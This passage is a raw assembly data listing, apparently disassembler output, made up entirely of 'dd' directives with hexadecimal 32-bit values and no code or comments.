4AFC2F9h, 4BF4DC76h, 8864C1A6h dd 1B282E4Bh, 95B88B9Ch, 65BF31B9h, 5386880Ah, 3FDB6096h dd 8BCA680h, 1F265463h, 915DE5Ah, 42C04AC8h, 9FE180F8h dd 5AE01A4Dh, 9737C2E0h, 57340D24h, 120F22F2h, 0B7E04821h dd 0B6954DDFh, 0EB9CEF28h, 0FE276AB5h, 40B0C9C6h, 1E7CB213h dd 0E46E1C0Fh, 2E1D0070h, 1237BBA3h, 0E5A57660h, 8C7A3E13h dd 6A0AB400h, 50B6B3CBh, 0E540349Ch, 4A71325Ah, 0EF311CEFh dd 3520F4D4h, 2F5B3358h, 0CA3AF91Bh, 0B0F81CB6h, 0AB2BBF73h dd 26C08951h, 0F19E00D3h, 5C4EB8CDh, 69532675h, 5A0F4732h dd 23E149A1h, 20E47D61h, 6E7AE3DAh, 9E56002Ch, 2F527473h dd 0BA25FB2h, 0E2EE19E8h, 66D8B325h, 0C85277F7h, 5F03071Eh dd 840276E9h, 0D265DBEFh, 562535EDh, 0D2675F0h, 99057F8h dd 247B885Bh, 1520FD0Eh, 7989209Ah, 25D680BBh, 0F5542D0Ch dd 25CB48CCh, 34C674FFh, 9A952892h, 72DE5310h, 8980E3D8h dd 309F0B15h, 2B359C7h, 6E8B7196h, 46DF94D9h, 786D95D4h dd 0A0613D68h, 0DE82B33Ch, 8933AEDBh, 0A07878DBh, 941A1854h dd 48D34E6Fh, 4CB99C4Ah, 8C1CACh, 8AB59AFEh, 0AF95FCD0h dd 1972C74h, 59E38043h, 0F845482Bh, 89BB0C30h, 123637CFh dd 518EB612h, 2B6D21E1h, 43DB1424h, 656761C0h, 0F0006836h dd 0BFD6DD99h, 124D800Ah, 888B0F62h, 2D8C866Ah, 0B85B227Dh dd 9E181B79h, 6ADED602h, 0DFD89347h, 1AB178E0h, 17306880h dd 0F81C9C78h, 365C0CFh, 12216B7Eh, 0F061A567h, 7B13CFEDh dd 0C4B61C83h, 293C9AE0h, 11AD8512h, 0EDD231E2h, 1740A854h dd 0AB113DE8h, 8B607122h, 76A8DA9Dh, 195F89h, 509061F2h dd 8F1D9DBFh, 56E72351h, 0E8D98F79h, 0B1F606D2h, 0B09F2D14h dd 0F5C8D014h, 0ED29742Eh, 580A879h, 0E9CC0A0h, 7A78F181h dd 48A9EF20h, 0A85B0041h, 0D9DC8896h, 270171FAh, 329C64ECh dd 0F6EA8DD3h, 135D085Ah, 0C7B35B17h, 0FEB8DD0Eh, 0F74B9001h dd 952A88A6h, 0E45BA505h, 0FF181BD9h, 88AE3300h, 0A0E556C4h dd 0D78D4A29h, 905949D4h, 9AB73A45h, 0B6093303h, 0AED4B02Bh dd 0BF9BF617h, 0E44856C1h, 7B303ADAh, 41099D03h, 0DFA62A2Dh dd 1E1523BEh, 16D8EF7Ah, 0A78302A6h, 8D0FC7B0h, 9A2DD0Bh dd 895C5495h, 7371615Fh, 55499C47h, 8F7DF29Ch, 38F4FB9Eh dd 0BB8B66FCh, 0FA7C7733h, 0F5492110h, 316C5F71h, 0C79D0174h dd 0DF1102ADh, 765CE2D8h, 0E08B5EBh, 0DB40B003h, 24D8D89h dd 0C0124AD3h, 5204EDA3h, 0AE5FA7B7h, 6ABAFB74h, 9156098Ah dd 5D1B5558h, 2D35FA10h, 89579614h, 5B09713Ah, 8D766050h dd 0CC81B25Bh, 26DA13Fh, 61EBB510h, 0EAE6964Fh, 0E5F59FE0h dd 6C334D20h, 879297E1h, 5C79756h, 1CED9D0Bh, 43675AEh dd 0B9137D27h, 7EAFD08Eh, 262B2845h, 6ABDFE91h, 697856F2h dd 90618D7h, 9C08FC85h, 0A5A4EC39h, 2DB185D2h, 0C9C07B1Ah dd 75201DC5h, 3C0958B8h, 70198376h, 8D539534h, 2B181959h dd 5973F905h, 0FC047FF5h, 2DAE11B9h, 0D25E1A56h, 8D4BE0A2h dd 0A7C76F51h, 8D9655D9h, 1285897Ah, 8BD2FC2Bh, 0CA594250h dd 0EA4CF768h, 853079BDh, 98C5BAFDh, 9B77CA58h, 0D72B9528h dd 4D618627h, 60186470h, 77E4EB75h, 699EA15Fh, 0B125C816h dd 951DCE09h, 2B441794h, 72C72C80h, 0DBF61EEFh, 0E04D786Eh dd 3F63BC2Ah, 99CBD75Dh, 6526600Fh, 0F0BF97C0h, 977FCDCAh dd 1FC1432h, 6FB93016h, 8C1DBCh, 0C4E4F2B9h, 0B66D5272h dd 0E4F5372Dh, 0B7F39D8Dh, 0B5920D07h, 2591802Eh, 0BFD2F797h dd 2C808A93h, 0CC3D74F5h, 7521808Fh, 32577986h, 5B43264Ch dd 0DBBF0C41h, 0B52A890Ah, 2EFBC55Dh, 9FF1834h, 0F459558Dh dd 0D2273D44h, 0C3142109h, 0C649DD3Ah, 0B36FAF84h, 4A072A00h dd 5CCD6D93h, 0BC68A20Eh, 7A9C79BBh, 3DD22D2Bh, 160B8D2h dd 3BE6CABAh, 388467Bh, 0ED5B5BCDh, 52BB8045h, 95B9E9B4h dd 0BECDFB8Bh, 0A897E8C3h, 4BFFD95Bh, 3A1D8923h, 28090A6Eh dd 37737839h, 0D4ADAEh, 0ACE36A92h, 52199199h, 0B70F4213h dd 0E89D24AAh, 0CACC80C6h, 0B7B2BA78h, 0CBEB9EE1h, 7CF8744Eh dd 98202021h, 0FAFD5B2Dh, 8FC016DEh, 0F008E614h, 9C3D35h dd 6078E8D5h, 11BDB52Bh, 0C41FC6BFh, 0B8024180h, 70F0973Dh dd 502F2AFAh, 6B070360h, 863D27F8h, 6C6EDD4Fh, 0B5A9B203h dd 6EC27967h, 151BFF8h, 1F113B7Fh, 2BF14184h, 15853260h dd 0DD238528h, 8AD00979h, 6F1B0A4h, 0FF87CC6Ch, 0DA4B80D1h dd 0A435208Ah, 0F36EBE3Dh, 3E67140Dh, 52AE1ECh, 0EF570101h dd 0F592026Ah, 1797B390h, 0BBFDFE8Ah, 0F4D977Dh, 0D6AC4AC0h dd 12257DECh, 0E889D248h, 214B80F6h, 0A89047h, 4201F8F5h dd 3F200780h, 8AD13A04h, 9AEA5BFAh, 0C01AC801h, 291C00Bh dd 65A70917h, 12297F04h, 0AE1AE905h, 43CA2338h, 3114E28Fh dd 8FCC7BD2h, 145209BFh, 42562EE6h, 50E1DBEBh, 701C7A37h dd 145FCE9h, 9AF2509Eh, 616B3E00h, 2FDF8948h, 0F6C29900h dd 0CCDD5F65h, 98224986h, 0C4E2E94Fh, 4BB89298h, 80B89F5Eh dd 0F765DE6Bh, 0A5090510h, 0C7666041h, 61F831B0h, 4E172EF5h dd 0E7F882E9h, 7510D30Bh, 253B5EAFh, 0BF035066h, 421FD6F2h dd 19CCE46Ah, 0C2449F12h, 7A9FF398h, 0AB66B522h, 1759BB1Fh dd 0BF045ED7h, 0ECAC01E1h, 0B09C58A7h, 1866425h, 0C2226798h dd 0D8911F71h, 3A0E7055h, 0A2E6F28Ch, 0C8998529h, 9771E4C8h dd 0AC76490Fh, 84E9C8EEh, 0AC20CB80h, 9D890BFEh, 0E9EB56D1h dd 1074F41h, 3C6197B3h, 0B1413692h, 3DD42FAh, 0DB129028h dd 0C07FFDB1h, 72EF81ADh, 0D18B401Fh, 93E38DD2h, 0AE2EDD12h dd 0BD319F61h, 0E888F45h, 4C094189h, 3C0092DEh, 73E2D805h dd 7E8EC618h, 745FE79h, 952936D1h, 4134CDB5h, 2DDDBD6Ah dd 7C0130Fh, 0AA1A3D1Dh, 8996560Eh, 0E15A7818h, 0C4601D44h dd 0AA22FD4Ah, 1BD35260h, 6CBE1E85h, 3747D761h, 56208469h dd 0BB6813AAh, 4DB68960h, 0C0010486h, 0AC2105F7h, 9A2588FAh dd 0A8F23809h, 0FE22A550h, 949C0A0h, 8AA11E94h, 144A720h dd 0F9B095F9h, 258313DDh, 40EA553Ch, 80F5377Fh, 4054B678h dd 9C160A7Eh, 5056B538h, 458271BBh, 55B90208h, 37935858h dd 28D2178h, 3E7019CFh, 0FD56F5C2h, 0A1585E23h, 0BBCD0172h dd 7F3250C9h, 80F37CB5h, 5C765952h, 446A005Dh, 3F8EF4FEh dd 0DB95FC5Fh, 0A9627091h dd 29BDC509h, 0A0A2F59Dh, 0FD5EC02Bh, 76E500DCh, 1128FE10h dd 0B5182988h, 0D2550655h, 0CC4A0BBFh, 175C3D8Ch, 0B7B5F5DAh dd 0B86D2F0Fh, 4A7FE29Eh, 80EADB02h, 0DDF8B38h, 0D5EFB788h dd 860F8561h, 0B58A3Bh, 100E9D70h, 0DFB426h, 1D82A720h dd 0FD166587h, 63DCAA13h, 17BB3E02h, 0D6515C93h, 0AF4A1A46h dd 0B9963742h, 61C4FD89h, 0E7815100h, 29D899BBh, 651B975Fh dd 0ECC6C7E8h, 0C5577C25h, 0BA16A63h, 8CD404FDh, 0AEC4A0C0h dd 6996041Bh, 0AE2536D8h, 10C1A004h, 1BE750B8h, 0F6755Eh dd 3D7B2818h, 562198B2h, 0B3DF3807h, 0D509B822h, 0C180353Dh dd 6B88DBCAh, 8B16167Bh, 8268B9FEh, 41B973BBh, 2CEA19Dh dd 68FCE1FFh, 50D3764Bh, 84004568h, 8795A41Ah, 4ECD9D33h dd 0A7CF970Eh, 9071090Dh, 45328C4h, 0BF2D5194h, 3013EFCEh dd 0A59BF704h, 0FEA512FEh, 9A88B013h, 0D4793DC5h, 0A0AC1C00h dd 372C1A7Ch, 1B1F9B01h, 3A779671h, 0B5A7282Eh, 28307DD3h dd 28BA73Fh, 29F67E94h, 685660C0h, 1BE01DCh, 0B3A878C8h dd 0AE152EA4h, 42FBDF9h, 1277116h, 1D31BD0Bh, 4A35A23Ah dd 7BE420C8h, 3E9AB7A6h, 0CA97C456h, 0FFF92332h, 54B569B9h dd 0D49FACEFh, 0C311085h, 71CFF15Bh, 19284537h, 84DA4A9Eh dd 7D8D31D2h, 0EC68CD90h, 56AC253Fh, 0BD9F4B38h, 13630095h dd 0BE56B33Ch, 2676E9E8h, 225E00D4h, 6AC66C53h, 645E46DFh dd 9127CF3h, 2FDDA9B5h, 5157FB89h, 71181Dh, 74942902h dd 8AB4330Dh, 58F8B92Dh, 317395ECh, 9727BFD0h, 0A34F5A12h dd 1EC87740h, 71C1127Fh, 83ABFC5Ch, 88612294h, 0ED040E6h dd 0EC3C2B12h, 0E1B84660h, 57121AA9h, 64AAB4DDh, 898DACE6h dd 0AD5773F8h, 29400AEDh, 2D2BD91Fh, 8910ADFDh, 0E2033225h dd 867EA415h, 5FAE807Ch, 27CEF2ACh, 0F75B89A6h, 4946AC78h dd 0AC9770FBh, 539576A0h, 0CDFB27D9h, 9D87950h, 0B5336051h dd 960B9812h, 61672157h, 887F505Fh, 1C4B0D22h, 6A5B1F8Bh dd 0E123F72h, 698ABF52h, 7CC2460h, 9B35EB12h, 0C32DE1A0h dd 6301BB8Dh, 46CA8E4Bh, 5059B702h, 0C6FE830Fh, 0B6615759h dd 254689B0h, 96F354A3h, 0A690D862h, 958DF958h, 3AF86073h dd 231B00E1h, 2FBBFB20h, 2B82905h, 0C5348D20h, 12DFBFA6h dd 2CD188ADh, 23AC8D00h, 0C519EAC3h, 0B306092Dh, 518B65D5h dd 8098377Fh, 969CE869h, 28514FB4h, 2A0BC5B3h, 6A4E65CBh dd 0D78E05D4h, 4D6B613Fh, 923EC000h, 0AA913888h, 819D2316h dd 0DF0021FAh, 0C251E531h, 91173FD7h, 6418119h, 14CDB45Fh dd 0ED7827Ah, 0EB2A9CD5h, 3A3227Bh, 28DA9A2Ch, 90820E9h dd 0B780F781h, 2DDD0971h, 1D4DC56h, 21F1AAB0h, 3F1CB4EDh dd 9918760Bh, 9B2B7FC3h, 0F5138085h, 308D0360h, 81511589h dd 8C4BD7D0h, 2F142A8Bh, 0EF82BB04h, 0DB96D81Ah, 89251D69h dd 0D69EF6EDh, 0B2251446h, 18598C5Bh, 1C243A19h, 2829A081h dd 5A30CB6Ah, 6EA21EE6h, 0AD004C71h, 79B583CBh, 34E2F464h dd 81263BB4h, 21D113Bh, 0C8465C5Fh, 0FE4A01DEh, 3845BD89h dd 59962714h, 5B5283B3h, 0CB9F5750h, 0E071EBF3h, 0ED9E207Bh dd 0A401D4F0h, 0E2BBD0DFh, 0EA639F04h, 64B6C800h, 335E2F8Eh dd 4FDB5F1Fh, 9A28E1C0h, 0A59F43Fh, 5B4E20F0h, 1B46DCEBh dd 0AF07C500h, 0B278920Eh, 0BD2B050Bh, 606CE039h, 0D6B7000Fh dd 944318B9h, 5B9D615Bh, 0E16DA585h, 0FAAEB541h, 85190024h dd 0CB8D010Eh, 0D47330h, 65D11226h, 0A104DCF0h, 1121EDBCh dd 29C384B8h, 28A4F595h, 9561F660h, 1D59BE5Bh, 7D002018h dd 377BAA32h, 4EB011A0h, 1E0CAD41h, 4C6DF9BDh, 0BB440065h dd 628C4AE6h, 22007D90h, 15980630h, 25E36502h, 91C2C4D1h dd 2FE0DE4Dh, 49B0A27h, 0DB803DE0h, 0D5B5B998h, 35DAC06h dd 0ADBCE135h, 0DA0822C9h, 21BB59Dh, 37AA64BBh, 0BC569CC2h dd 70197B49h, 87208490h, 13C530E2h, 0B7BC6A61h, 59993474h dd 4BC12A6Ch, 29BC9C0Bh, 779BD10h, 0E30B8548h, 7FE14043h dd 2ED575D9h, 6EE0B8F6h, 42A43C5Eh, 41F7800Bh, 9EC798E8h dd 0B2B6196Eh, 6AD87083h, 0F8E5CBD9h, 3CA8282Eh, 0BA09DF8Ah dd 0F7893C02h, 95F34677h, 0CD87F754h, 1B424C47h, 9E9FD5CEh dd 0F8801891h, 9BF2C6C4h, 683DCD95h, 12F6E0DFh, 0F55C8EC1h dd 0CECD4A00h, 0DAB98542h, 0B2DE4AE5h, 3AAFA8B3h, 598916CDh dd 0E7D49E37h, 0C6E15F40h, 0E36E00B5h, 0F2896510h, 0CC12F514h dd 50151DEh, 5BF9F0F3h, 0C8BA55C6h, 0CF355Fh, 0AC6B7BCEh dd 4E26AE01h, 9D045F3Ah, 38AB09DDh, 248A51CAh, 2DAB1888h dd 636A2BCAh, 0CEF08700h, 39130CDBh, 995891Ah, 12FA5677h dd 804BFCF8h, 64C247B3h, 41840F1Ah, 0BA009BFFh, 0E78191C7h dd 696DFB04h, 0EAB85F1Eh, 18D09B0h, 30E9DDC4h, 0F84DBDB8h dd 0E63FE3BCh, 0F2D76E2h, 42C34489h, 0B1C86284h, 75C6FD12h dd 7335B5h, 0C6A41DE1h, 600B51D2h, 7674C180h, 5F61627Bh dd 9A955850h, 10979DCh, 0D3AB09FEh, 0C6A7C414h, 2EA2505Eh dd 9E697403h, 4227787Ch, 0B51DFADEh, 0AE840690h, 51ACDB00h dd 0A0298CDh, 0AD270BE8h, 3D577CD2h, 0C4F1005Eh, 0F47D629h dd 439E4F97h, 0C0AAF637h, 0A012E658h, 0C77A149Fh, 88EEBA00h dd 173E3F84h, 0AD2096B8h, 0D381021Fh, 65F715CBh, 6B26055Eh dd 1C21FCDEh, 494E3A7Ah, 13C69D29h, 0FD202AEDh, 4E78A6B0h dd 0EA075271h, 7B856Fh, 7B5B2AFBh, 0F533A3A6h, 99A948D6h dd 0C8608AD6h, 0D750C018h, 0B44CFC61h, 0B091215h, 0F4C3DF7h dd 70F78100h, 0FF4E32F2h, 8D31D112h, 305E8E9h, 0AA1CAD9Dh dd 5A300C8Eh, 2F6BF6Fh, 6A7403F0h, 914B90BFh, 1C0B7CFDh dd 89161B2Eh, 0D06101FEh, 4677E609h, 5467001Ah, 4E331F03h dd 591E40A5h, 3F9E43F4h, 25B0F915h, 64E8CDF8h, 0FE8F6115h dd 25D5A160h, 3071BEE9h, 19FAAC2h, 0D6359D33h, 24D7B60Ch dd 3C32C720h, 0E793369Dh, 0FC699D5Ch, 15512DF0h, 0D6AD5054h dd 0F3040A1h, 80C98F58h, 45C38160h, 9802FE26h, 0B561FC2Fh dd 0EEE90AE7h, 3A9C2D63h, 23172B64h, 24EEF158h, 2E76CD96h dd 690057E3h, 0AEAD4BB6h, 2B1E79E2h, 0B44BBF66h, 0E23B565Bh dd 974800Fh, 0E5B9DE44h, 0B0C5E74Eh, 14B06BDFh, 9626801Bh dd 252FD110h, 0AD3A73F8h, 0EC425DCDh, 6A8A40FCh, 0DC509CFFh dd 3838555Ch, 0EDDC49CDh, 461F26Eh, 12F99D89h, 97D8C2F4h dd 39BE2DB3h, 0B0C9B312h, 569730AEh, 3100C262h, 4EBED7B7h dd 4321B8Ah, 5B7E73C8h, 0FE58816Fh, 0E647605Fh, 0E4F97000h dd 3B9DBB71h, 0B83C4F4Bh, 17F2D686h, 0E7481F00h, 0C8D7B183h dd 0A5327395h, 85C79877h, 2E0B4155h, 47E34D12h, 0AACEC135h dd 716C525Ah, 0F0FE92E8h, 8D30293Fh, 0C82BED19h, 1154D809h dd 0E955D18Bh, 6CB22F37h, 49107258h, 0DEA04C2Dh, 0C1B5A58Fh dd 0C1953102h, 905F1964h, 553D69F3h, 59B53070h, 12B74Eh dd 92F7CB81h, 0E96F7425h, 0EC151233h, 2015101Eh, 2D36E911h dd 2D707429h, 0E0ECBCFEh, 1E9197F9h, 9D23101Eh, 71054285h dd 0A5780B45h, 6B405158h, 0A0EB2580h, 862017ECh, 5D66BF1Dh dd 0A97B897Dh, 0F061DB95h, 0D7258047h, 0E2075C1Eh, 0B224010Dh dd 29578A49h, 71975B06h, 0AE98D39Ah, 92902D98h, 8381852Ah dd 8C0FFC16h, 63FFBD30h, 2B681377h, 1D59C8C0h, 0EDFA200h dd 9563D742h, 0EA20006Ch dd 51A88CF8h, 0EB138191h, 6AFF9BB0h, 0F4985EF0h, 2B5F0003h dd 1F5D1B0Bh, 0F1C92EDh, 53252A8Bh, 45F0041h, 9F0D283Ah dd 1BE6AA05h, 584080AEh, 0A181270Ch, 979100EFh, 0CF306183h dd 0F40729A2h, 0FEEC4113h, 5E5B8D22h, 3DFEDA10h, 20809D4h dd 2D04F21Ah, 4FF1B8D8h, 23A1ABE7h, 348F6050h, 3D27B575h dd 0E40E565Fh, 5CD967F8h, 0BBA05C08h, 0A6C93E55h, 0DC547CDFh dd 0DFC05912h, 10A52509h, 4B65BD5Dh, 22BC8E22h, 2549938Eh dd 5B95BFF0h, 18155108h, 0C2745A57h, 0CE2E059Bh, 2FB9F255h dd 8762BFCFh, 0C59501Dh, 0CD2A3D00h, 929CB63h, 0E1FF5383h dd 43C0354Dh, 9C2C98Dh, 0F0B42146h, 0A50001F9h, 2CD23DDBh dd 1CDD00AFh, 18D99A4Ah, 301ECB3Ch, 0FA04BF89h, 0C6B866ECh dd 0C20452A1h, 0E3D8EDDFh, 17805B99h, 0F012C91Bh, 20FB2430h dd 0B2E80FB3h, 48859500h, 0A0AA89CDh, 7AF402CAh, 2A52719Fh dd 2651FA5Ch, 1B7C8EA7h, 0D11404DEh, 0EE3AB217h, 0C12B6DCDh dd 2EA00D80h, 0E9B8ED28h, 8048DE3Ah, 0F380CD64h, 0DB604ED6h dd 947C808Fh, 999E579h, 7EEF0838h, 403D6F57h, 21DA2582h dd 0A6F0BB04h, 0FEB8269Ah, 96B8675Dh, 0C82531B4h, 0BF01370Fh dd 4545CECFh, 0EB84D7FDh, 0D5C1AC3Bh, 0CDB74AD5h, 80849A4Ah dd 10BAE66Bh, 0DA3F4832h, 21415D3Bh, 5647295Ch, 0EF80F5C0h dd 1ADAA05Ah, 46DC86DEh, 890030D9h, 71C3C0CDh, 0CBB20E8Eh dd 0B8522E9Eh, 0FEBBB0F2h, 1B73193Eh, 20BF698Bh, 3779C121h dd 0FCF05890h, 82BD7648h, 55585B52h, 359765C6h, 8516918Ah dd 90098CFDh, 35BF7785h, 0D1C8A000h, 197E1DE3h, 543515DDh dd 0E99D8951h, 411A2AB3h, 0C4574BDEh, 468DAC2Eh, 48B5E076h dd 5F8B979Dh, 0FCD8A45Bh, 0DDF64169h, 63B63A23h, 553014F2h dd 9AF4B829h, 0FB6D9526h, 33631564h, 290689F0h, 0DA319D38h dd 0C25E96F7h, 3AF8462Bh, 1025520h, 0DB05BF96h, 0DE500A79h dd 11D0E15Dh, 684D702Fh, 0EDF6937Eh, 994963B5h, 74F60E70h dd 9500DCCCh, 0CDB5EF45h, 1209ED34h, 0BF9D33B8h, 9AEAE1C4h dd 0C017C81Dh, 2EFC7306h, 489A1195h, 82B2E27Bh, 252DBD2Bh dd 0FE78C45Bh, 14B93B94h, 0B902ADECh, 166131C4h, 8257D911h dd 2E99BD03h, 295BBF00h, 0E94649A0h, 1FB297h, 15A370D4h dd 0E76F71Bh, 7D653C72h, 0BCE09441h, 0BD683022h, 5FE33954h dd 95316104h, 9BEA05DDh, 113512E6h, 3188D2E3h, 4D285198h dd 0E95B8009h, 0DE1B3F69h, 0DD0EDC8Bh, 6154E783h, 0F9096CCCh dd 0E1F03A2Eh, 0E63A70B7h, 8539E1DDh, 24B77FFCh, 4293BC5h dd 0B8149EBBh, 401A1C3h, 0A0C4F73Ah, 73566057h, 93281629h dd 0FD76814Bh, 13EF4BEAh, 0F8A903CCh, 0C0167E80h, 80BC5F2h dd 0E6B5E292h, 754D90B8h, 0D80981CDh, 539D2A3Dh, 8135EBF4h dd 2FF96F80h, 132618D3h, 0AC95BE8Ch, 6C809F7Ch, 0B2D18922h dd 0A1F20024h, 5CBCBA7Ah, 4F3CA703h, 10554885h, 0B64A1E5Dh dd 3018E20Fh, 5116B75Bh, 65177B26h, 4A7D3CEDh, 2E557h dd 5A9591E6h, 0CDF5584Fh, 0EC5F0463h, 86A00DAh, 0C84C7151h dd 0AC8F56DDh, 0AD2D844Ah, 0AC9DD183h, 0E7640115h, 8F4A7B3Fh dd 1FB3C487h, 0CF75C9AAh, 13BD60FCh, 3900CD78h, 67A3BA6Bh dd 4AAD9D2Bh, 3E1DE72Ah, 0D593589h, 6A4C91EBh, 803D6CABh dd 0BC6117D6h, 2F973A2Dh, 92DB2483h, 86AC14E3h, 59E0277Fh dd 2175BB5h, 21C5B529h, 70383A57h, 0A6FA9FC0h, 0AD0BFD21h dd 78365E90h, 2A58960Fh, 0A210421Ah, 686E5C94h, 53F91BEDh dd 0DB59D98h, 795E5B95h, 9E51818h, 0B4A2F3Ah, 0FD04CF64h dd 9B1B399Dh, 0B41F6AEh, 63F7C5CBh, 0E770480Eh, 4BE9BD4Ah dd 66A0CC8Ah, 7C0453B2h, 0F2F978DFh, 0C4B73C95h, 1AACFA59h dd 0B5ED2807h, 5B126743h, 61F89886h, 290300DEh, 489A33ABh dd 640AB798h, 0D9E4ADB9h, 132D910Bh, 40BBBFB5h, 958A50DEh dd 0B86077C8h, 164DB65Ch, 4FAC8B46h, 0A2146189h, 9694DF4Bh dd 2ED7BEAh, 0C6D62EBFh, 51B55C56h, 0DB0C39h, 0A15E781h dd 0B79646B4h, 5E50E93Ah, 4681559Bh, 6CB23EE0h, 0C423CE58h dd 6FAE0A49h, 251C234Ch, 0A34F125Eh, 10BA590Eh, 0B27C16Ch dd 6271B589h, 0A215D5A4h, 569A9940h, 0BD7809E3h, 0AA02BAB3h dd 66001D0Dh, 0A418F8BFh, 5E619D69h, 76DC6A09h, 526809BBh dd 89711417h, 0DA203944h, 0D43B8060h, 61D31292h, 23DB6BAAh dd 0DECB0416h, 0C62A92C5h, 0B12D4AF2h, 0E92D5908h, 2870A553h dd 0D0963020h, 0F1B53168h, 0E8C1E3D6h, 172E9FE9h, 80809B95h dd 0B6094FCh, 9ACD48BDh, 5A7AAA93h, 0BBDC6202h, 0B1C0481Eh dd 5F820225h, 0AD13230Eh, 0CF998165h, 0B8C22528h, 9E7BE901h dd 17B700C5h, 2BE158D4h, 0C138F401h, 0E057D30Ch, 13AEEE0h dd 0ECA09BBh, 0D47EEC18h, 4800CF8Bh, 71E864A5h, 0C682BDh dd 0E763984Fh, 0B111F804h, 6BD8D100h, 32CC5855h, 50440F79h dd 0E40F9739h, 8D27AE6Fh, 0CB0F5B0Eh, 8C78AF00h, 3300D2F1h dd 0EA0439F2h, 7AD1514h, 496DCC7Ch, 20F400EDh, 9B00BA67h dd 3709CDAAh, 1A9236h, 7065DC9h, 8AC569F2h, 0A347CE07h dd 0C1219668h, 44936301h, 0B29F00E5h, 1F317213h, 0ABE69C00h dd 0A05E7BF7h, 0E4E836h, 0EB3893Dh, 6EFEF1CCh, 1647460Eh dd 6EA853Ah, 0E71CBF00h, 66D36C3Bh, 5E545615h, 94E8293Bh dd 24A3336Ah, 230E172Ch, 0CEC260A4h, 54D37552h, 39BC76h dd 7B32A9D7h, 23D24E42h, 77E79F61h, 8F49DEFBh, 198F66D5h dd 5D2118A7h, 9D3A8883h, 0A18CDA15h, 0C50F21h, 0A7708D69h dd 336B3666h, 71014630h, 0E7A3284h, 16DA453Ah, 1E4B1E7h dd 0E8441A14h, 42C0BFFDh, 73401D19h, 0C49600CDh, 611552F5h dd 9E004605h, 0A2B7BB67h, 0F442E5E4h, 25E0011h, 7E5B9037h dd 1F00069Dh, 0FF763269h, 0FD37848h, 68FEBA96h, 533F7E40h dd 55008C34h, 38D7ECA1h, 0C7D57F9h, 51F198C9h, 0B95EB5C3h dd 7D76D5E0h, 85C60FCDh, 0A0E082E3h, 0F7A7C45Dh, 0F029E000h dd 81205304h, 6A992864h, 520916BAh, 0E78F059Fh, 8151BC93h dd 0E062497Eh, 28046380h, 8C41584Ch, 0C9F5301h, 279B8E70h dd 63BF2180h, 171EB586h, 24367500h, 681DEF95h, 0DF430C2Fh dd 0CB32E603h, 32DE1500h, 0EEA2192Eh, 1E9D00AFh, 6C1A2F66h dd 7D00BA6Dh, 276F6A63h, 0C0C9F0h, 0A260C28Eh, 2B8C3FB5h dd 99608078h, 2A462274h, 851014Dh, 0D011D46Bh, 0B0D49E4Eh dd 1ACBF2h, 58532D3Fh, 0AAFEA60h, 8E4C05h, 15674707h, 106A1C31h dd 6CA34900h, 149FBCB8h, 3F33246Eh, 0F53C0757h, 7F3A9053h dd 0BA128FCCh, 0D036604h, 70E45E4Dh, 40240657h, 13B80554h dd 0A1097F78h, 4356944h, 0C322492Ch, 40026440h, 0C8A42BC0h dd 8128B3h, 0C7BBFCADh, 0E675876Bh, 1C083D07h, 44104318h dd 73BA669Bh, 792D041Bh, 80D6AC62h, 0B022CEFBh, 5E000179h dd 7FA63DF4h, 1D91CAh, 0D0AA31C8h, 0FC0630D9h, 0B7B46700h dd 89A943B2h, 0F6D3286Eh, 5D7C13EFh, 3E4900A6h, 55F14785h dd 20196600h, 2C7B274Bh, 23043994h, 0C300A5BAh, 0D415B8CFh dd 63003B20h, 5E6CF07Dh, 0B34EF8h, 431DB01Ch, 0E094D578h dd 23C58401h, 9D3407E4h, 1AC0EBE4h, 50CC79C9h, 29A5E060h dd 0DB845700h, 610AD1A6h, 3052722Ch, 2127C57Dh, 760C2845h dd 0DE73A85Fh, 1B1A03B9h, 0A17B2F64h, 233875B0h, 85915C1Eh dd 80713945h dd 0CC8FB840h, 1426DA17h, 0BE972D4Ah, 818BC402h, 0BC6258C8h dd 8469741h, 66E810h, 73725B75h, 4097E421h, 0A4C43Ch, 399593B8h dd 0CAAECBh, 487F25B4h, 6B437833h, 0C7A3B0A0h, 3BCDB1Eh dd 7B578CC0h, 8F38BFh, 5D4A65Ah, 0FCB02760h, 6DC9BD09h dd 5E8C9190h, 93C8DC50h, 0E4A73CB9h, 943C5F80h, 199DBAB6h dd 1261E6B0h, 8D40FBDCh, 98E6C920h, 286B6982h, 2D78200h dd 48954B4Eh, 4D42E96Ah, 6407510Dh, 521AC15Ch, 3D40D949h dd 8624FDEDh, 720EC6E3h, 4FF3864Eh, 0CF70171Bh, 0DB8A0730h dd 875E9001h, 0BF066CF9h, 9DBB0702h, 0FF5B0126h, 37F206E3h dd 6D1480ABh, 0F57AC64Bh, 0FE7101E1h, 0D25307EBh, 2A9580B9h dd 4328BD5Ch, 31B90EFh, 0DAC1EE9Bh, 3E072668h, 9AB4908Ch dd 81568AF2h, 61057CA9h, 0A1F67AFCh, 417054E3h, 6D5700B5h dd 70A960DFh, 0C400A084h, 3685C97h, 7C54E4h, 0F62BD45Fh dd 0D70CB342h, 8A0051ECh, 77FBA7E6h, 901EA962h, 559400EFh dd 954ED76Eh, 1200EC60h, 8865A647h, 1FDDEF5h, 42628E3h dd 0E0BC9E08h, 39480E49h, 0A2007315h, 77CBBEE9h, 79E107Ch dd 76D48A8Fh, 0C6136083h, 78142BAAh, 84473Bh, 9349F8F5h dd 8CC57Ch, 43E6255Fh, 22C08229h, 22440C9h, 0C0617327h dd 0FD1CE8h, 0F9F20CDEh, 0DDC27F91h, 0D0879702h, 6135E118h dd 0A1C46F5Dh, 2947D24h, 275CE6A5h, 6461800Bh, 4086F198h dd 48CD15B8h, 1007EAECh, 5A84567Ah, 0FF3D8521h, 5DD9BB40h dd 0EE2709DEh, 0FE801E02h, 67F82A5Ch, 180C6800h, 1995CA81h dd 0CE743E47h, 6B175200h, 450EEB07h, 0BD699E00h, 7B2EB6EEh dd 0E48728FBh, 27DC01B3h, 7EB56BEAh, 255A6492h, 0F3BB6320h dd 6E52E0h, 0C46D049Bh, 0E372E61Bh, 0B953C50h, 2FA22033h dd 1511E842h, 29D14C76h, 0A43BF600h, 0A988C67Dh, 0CAC1FB06h dd 12C3A78h, 409BC09Ch, 0D5DC8D50h, 981FDCB7h, 0C6BAEF09h dd 0B625ADDh, 75B458E3h, 6D5FB380h, 3D018032h, 64995249h dd 0E0FA19B0h, 2C9E4F5Fh, 60C8A95Dh, 26A55190h, 0CD815Dh dd 30A75B94h, 0F554178h, 0E38953CFh, 94E8C3EBh, 6A0B951h dd 5909CB29h, 3241C87h, 4B6F3C57h, 0D151E18h, 0F6112DECh dd 57AD7B02h, 8120BB8Ch, 5425C450h, 0AA63CF4h, 